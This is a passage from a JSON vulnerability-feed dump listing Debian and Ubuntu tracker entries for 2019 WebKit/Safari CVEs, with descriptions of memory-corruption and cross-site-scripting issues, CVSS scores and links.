"MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8815"], "modified": "2019-12-18T18:15:00", "id": "DEBIANCVE:CVE-2019-8815", "href": "https://security-tracker.debian.org/tracker/CVE-2019-8815", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-12-02T18:31:00", "description": "Multiple memory corruption issues were addressed with improved memory handling. This issue is fixed in iOS 13.2 and iPadOS 13.2, tvOS 13.2, Safari 13.0.3, iTunes for Windows 12.10.2, iCloud for Windows 11.0, iCloud for Windows 7.15. Processing maliciously crafted web content may lead to arbitrary code execution.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2019-12-18T18:15:00", "type": "debiancve", "title": "CVE-2019-8814", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8814"], "modified": "2019-12-18T18:15:00", "id": "DEBIANCVE:CVE-2019-8814", "href": "https://security-tracker.debian.org/tracker/CVE-2019-8814", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-12-02T18:31:00", "description": "Multiple memory corruption issues were addressed with improved memory handling. This issue is fixed in iOS 13.2 and iPadOS 13.2, tvOS 13.2, watchOS 6.1, Safari 13.0.3, iTunes for Windows 12.10.2, iCloud for Windows 11.0, iCloud for Windows 7.15. Processing maliciously crafted web content may lead to arbitrary code execution.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2019-12-18T18:15:00", "type": "debiancve", "title": "CVE-2019-8811", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8811"], "modified": "2019-12-18T18:15:00", "id": "DEBIANCVE:CVE-2019-8811", "href": "https://security-tracker.debian.org/tracker/CVE-2019-8811", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-02T18:31:00", "description": "Multiple memory corruption issues were addressed with improved memory handling. This issue is fixed in iOS 13.2 and iPadOS 13.2, tvOS 13.2, watchOS 6.1, Safari 13.0.3, iTunes for Windows 12.10.2. Processing maliciously crafted web content may lead to arbitrary code execution.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2019-12-18T18:15:00", "type": "debiancve", "title": "CVE-2019-8808", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8808"], "modified": "2019-12-18T18:15:00", "id": "DEBIANCVE:CVE-2019-8808", "href": "https://security-tracker.debian.org/tracker/CVE-2019-8808", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-02T18:31:00", "description": "Multiple memory corruption issues were addressed with improved memory handling. This issue is fixed in iOS 13.2 and iPadOS 13.2, tvOS 13.2, Safari 13.0.3, iTunes for Windows 12.10.2, iCloud for Windows 11.0, iCloud for Windows 7.15. Processing maliciously crafted web content may lead to arbitrary code execution.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2019-12-18T18:15:00", "type": "debiancve", "title": "CVE-2019-8821", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8821"], "modified": "2019-12-18T18:15:00", "id": "DEBIANCVE:CVE-2019-8821", "href": "https://security-tracker.debian.org/tracker/CVE-2019-8821", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-02T18:31:00", "description": "Multiple memory corruption issues were addressed with improved memory handling. This issue is fixed in iOS 13.2 and iPadOS 13.2, tvOS 13.2, Safari 13.0.3, iTunes for Windows 12.10.2, iCloud for Windows 11.0, iCloud for Windows 7.15. Processing maliciously crafted web content may lead to arbitrary code execution.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2019-12-18T18:15:00", "type": "debiancve", "title": "CVE-2019-8823", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8823"], "modified": "2019-12-18T18:15:00", "id": "DEBIANCVE:CVE-2019-8823", "href": "https://security-tracker.debian.org/tracker/CVE-2019-8823", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-02T18:31:00", "description": "Multiple memory corruption issues were addressed with improved memory handling. This issue is fixed in iOS 13.2 and iPadOS 13.2, tvOS 13.2, Safari 13.0.3, iTunes for Windows 12.10.2, iCloud for Windows 11.0, iCloud for Windows 7.15. Processing maliciously crafted web content may lead to arbitrary code execution.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2019-12-18T18:15:00", "type": "debiancve", "title": "CVE-2019-8819", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8819"], "modified": "2019-12-18T18:15:00", "id": "DEBIANCVE:CVE-2019-8819", "href": "https://security-tracker.debian.org/tracker/CVE-2019-8819", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-02T18:31:00", "description": "A logic issue was addressed with improved state management. This issue is fixed in iOS 13.2 and iPadOS 13.2, tvOS 13.2, Safari 13.0.3, iTunes for Windows 12.10.2, iCloud for Windows 11.0. Processing maliciously crafted web content may lead to universal cross site scripting.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "NONE", "baseScore": 6.1, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2019-12-18T18:15:00", "type": "debiancve", "title": "CVE-2019-8813", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8813"], "modified": "2019-12-18T18:15:00", "id": "DEBIANCVE:CVE-2019-8813", "href": "https://security-tracker.debian.org/tracker/CVE-2019-8813", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}}, {"lastseen": "2023-12-02T18:31:00", "description": "Multiple memory corruption issues were addressed with improved memory handling. This issue is fixed in iOS 13.2 and iPadOS 13.2, tvOS 13.2, Safari 13.0.3, iTunes for Windows 12.10.2, iCloud for Windows 11.0. Processing maliciously crafted web content may lead to arbitrary code execution.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2019-12-18T18:15:00", "type": "debiancve", "title": "CVE-2019-8782", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8782"], "modified": "2019-12-18T18:15:00", "id": "DEBIANCVE:CVE-2019-8782", "href": "https://security-tracker.debian.org/tracker/CVE-2019-8782", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-02T18:31:00", "description": "Multiple memory corruption issues were addressed with improved memory handling. This issue is fixed in iOS 13.2 and iPadOS 13.2, tvOS 13.2, Safari 13.0.3, iTunes for Windows 12.10.2, iCloud for Windows 11.0, iCloud for Windows 7.15. Processing maliciously crafted web content may lead to arbitrary code execution.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2019-12-18T18:15:00", "type": "debiancve", "title": "CVE-2019-8783", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8783"], "modified": "2019-12-18T18:15:00", "id": "DEBIANCVE:CVE-2019-8783", "href": "https://security-tracker.debian.org/tracker/CVE-2019-8783", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-02T18:31:00", "description": "Multiple memory corruption issues were addressed with improved memory handling. This issue is fixed in iOS 13.2 and iPadOS 13.2, tvOS 13.2, watchOS 6.1, Safari 13.0.3, iTunes for Windows 12.10.2, iCloud for Windows 11.0, iCloud for Windows 7.15. Processing maliciously crafted web content may lead to arbitrary code execution.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2019-12-18T18:15:00", "type": "debiancve", "title": "CVE-2019-8820", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8820"], "modified": "2019-12-18T18:15:00", "id": "DEBIANCVE:CVE-2019-8820", "href": "https://security-tracker.debian.org/tracker/CVE-2019-8820", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-02T18:31:00", "description": "Multiple memory corruption issues were addressed with improved memory handling. This issue is fixed in iOS 13.2 and iPadOS 13.2, tvOS 13.2, Safari 13.0.3, iTunes for Windows 12.10.2, iCloud for Windows 11.0, iCloud for Windows 7.15. Processing maliciously crafted web content may lead to arbitrary code execution.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2019-12-18T18:15:00", "type": "debiancve", "title": "CVE-2019-8822", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8822"], "modified": "2019-12-18T18:15:00", "id": "DEBIANCVE:CVE-2019-8822", "href": "https://security-tracker.debian.org/tracker/CVE-2019-8822", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "ubuntucve": [{"lastseen": "2023-12-02T14:36:42", "description": "Multiple memory corruption issues were addressed with improved memory\nhandling. This issue is fixed in iOS 13.2 and iPadOS 13.2, tvOS 13.2,\nwatchOS 6.1, Safari 13.0.3, iTunes for Windows 12.10.2, iCloud for Windows\n11.0, iCloud for Windows 7.15. Processing maliciously crafted web content\nmay lead to arbitrary code execution.\n\n#### Notes\n\nAuthor| Note \n---|--- \n[jdstrand](<https://launchpad.net/~jdstrand>) | webkit receives limited support. For details, see https://wiki.ubuntu.com/SecurityTeam/FAQ#webkit webkit in Ubuntu uses the JavaScriptCore (JSC) engine, not V8\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2019-12-18T00:00:00", "type": "ubuntucve", "title": "CVE-2019-8811", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8811"], "modified": "2019-12-18T00:00:00", "id": "UB:CVE-2019-8811", "href": "https://ubuntu.com/security/CVE-2019-8811", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-02T14:36:40", "description": "Multiple memory corruption issues were addressed with improved memory\nhandling. This issue is fixed in iOS 13.2 and iPadOS 13.2, tvOS 13.2,\nSafari 13.0.3, iTunes for Windows 12.10.2, iCloud for Windows 11.0, iCloud\nfor Windows 7.15. Processing maliciously crafted web content may lead to\narbitrary code execution.\n\n#### Notes\n\nAuthor| Note \n---|--- \n[jdstrand](<https://launchpad.net/~jdstrand>) | webkit receives limited support. For details, see https://wiki.ubuntu.com/SecurityTeam/FAQ#webkit webkit in Ubuntu uses the JavaScriptCore (JSC) engine, not V8\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2019-12-18T00:00:00", "type": "ubuntucve", "title": "CVE-2019-8821", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8821"], "modified": "2019-12-18T00:00:00", "id": "UB:CVE-2019-8821", "href": "https://ubuntu.com/security/CVE-2019-8821", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-02T14:36:48", "description": "A logic issue was addressed with improved state management. This issue is\nfixed in iOS 13.2 and iPadOS 13.2, tvOS 13.2, Safari 13.0.3, iTunes for\nWindows 12.10.2, iCloud for Windows 11.0. Processing maliciously crafted\nweb content may lead to universal cross site scripting.\n\n#### Notes\n\nAuthor| Note \n---|--- \n[jdstrand](<https://launchpad.net/~jdstrand>) | webkit receives limited support. For details, see https://wiki.ubuntu.com/SecurityTeam/FAQ#webkit webkit in Ubuntu uses the JavaScriptCore (JSC) engine, not V8\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "NONE", "baseScore": 6.1, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2019-12-18T00:00:00", "type": "ubuntucve", "title": "CVE-2019-8813", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8813"], "modified": "2019-12-18T00:00:00", "id": "UB:CVE-2019-8813", "href": "https://ubuntu.com/security/CVE-2019-8813", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}}, {"lastseen": "2023-12-02T14:36:43", "description": "Multiple memory corruption issues were addressed with improved memory\nhandling. This issue is fixed in iOS 13.2 and iPadOS 13.2, tvOS 13.2,\nSafari 13.0.3, iTunes for Windows 12.10.2, iCloud for Windows 11.0, iCloud\nfor Windows 7.15. Processing maliciously crafted web content may lead to\narbitrary code execution.\n\n#### Notes\n\nAuthor| Note \n---|--- \n[jdstrand](<https://launchpad.net/~jdstrand>) | webkit receives limited support. For details, see https://wiki.ubuntu.com/SecurityTeam/FAQ#webkit webkit in Ubuntu uses the JavaScriptCore (JSC) engine, not V8\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2019-12-18T00:00:00", "type": "ubuntucve", "title": "CVE-2019-8815", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8815"], "modified": "2019-12-18T00:00:00", "id": "UB:CVE-2019-8815", "href": "https://ubuntu.com/security/CVE-2019-8815", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-12-02T14:36:42", "description": "Multiple memory corruption issues were addressed with improved memory\nhandling. This issue is fixed in iOS 13.2 and iPadOS 13.2, tvOS 13.2,\nSafari 13.0.3, iTunes for Windows 12.10.2, iCloud for Windows 11.0, iCloud\nfor Windows 7.15. Processing maliciously crafted web content may lead to\narbitrary code execution.\n\n#### Notes\n\nAuthor| Note \n---|--- \n[jdstrand](<https://launchpad.net/~jdstrand>) | webkit receives limited support. For details, see https://wiki.ubuntu.com/SecurityTeam/FAQ#webkit webkit in Ubuntu uses the JavaScriptCore (JSC) engine, not V8\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2019-12-18T00:00:00", "type": "ubuntucve", "title": "CVE-2019-8819", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8819"], "modified": "2019-12-18T00:00:00", "id": "UB:CVE-2019-8819", "href": "https://ubuntu.com/security/CVE-2019-8819", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-02T14:40:03", "description": "Multiple memory corruption issues were addressed with improved memory\nhandling. This issue is fixed in iOS 13.2 and iPadOS 13.2, tvOS 13.2,\nSafari 13.0.3, iTunes for Windows 12.10.2, iCloud for Windows 11.0, iCloud\nfor Windows 7.15. Processing maliciously crafted web content may lead to\narbitrary code execution.\n\n#### Notes\n\nAuthor| Note \n---|--- \n[jdstrand](<https://launchpad.net/~jdstrand>) | webkit receives limited support. For details, see https://wiki.ubuntu.com/SecurityTeam/FAQ#webkit webkit in Ubuntu uses the JavaScriptCore (JSC) engine, not V8\n", "cvss3": {"exploitabilityScore": 2.8, 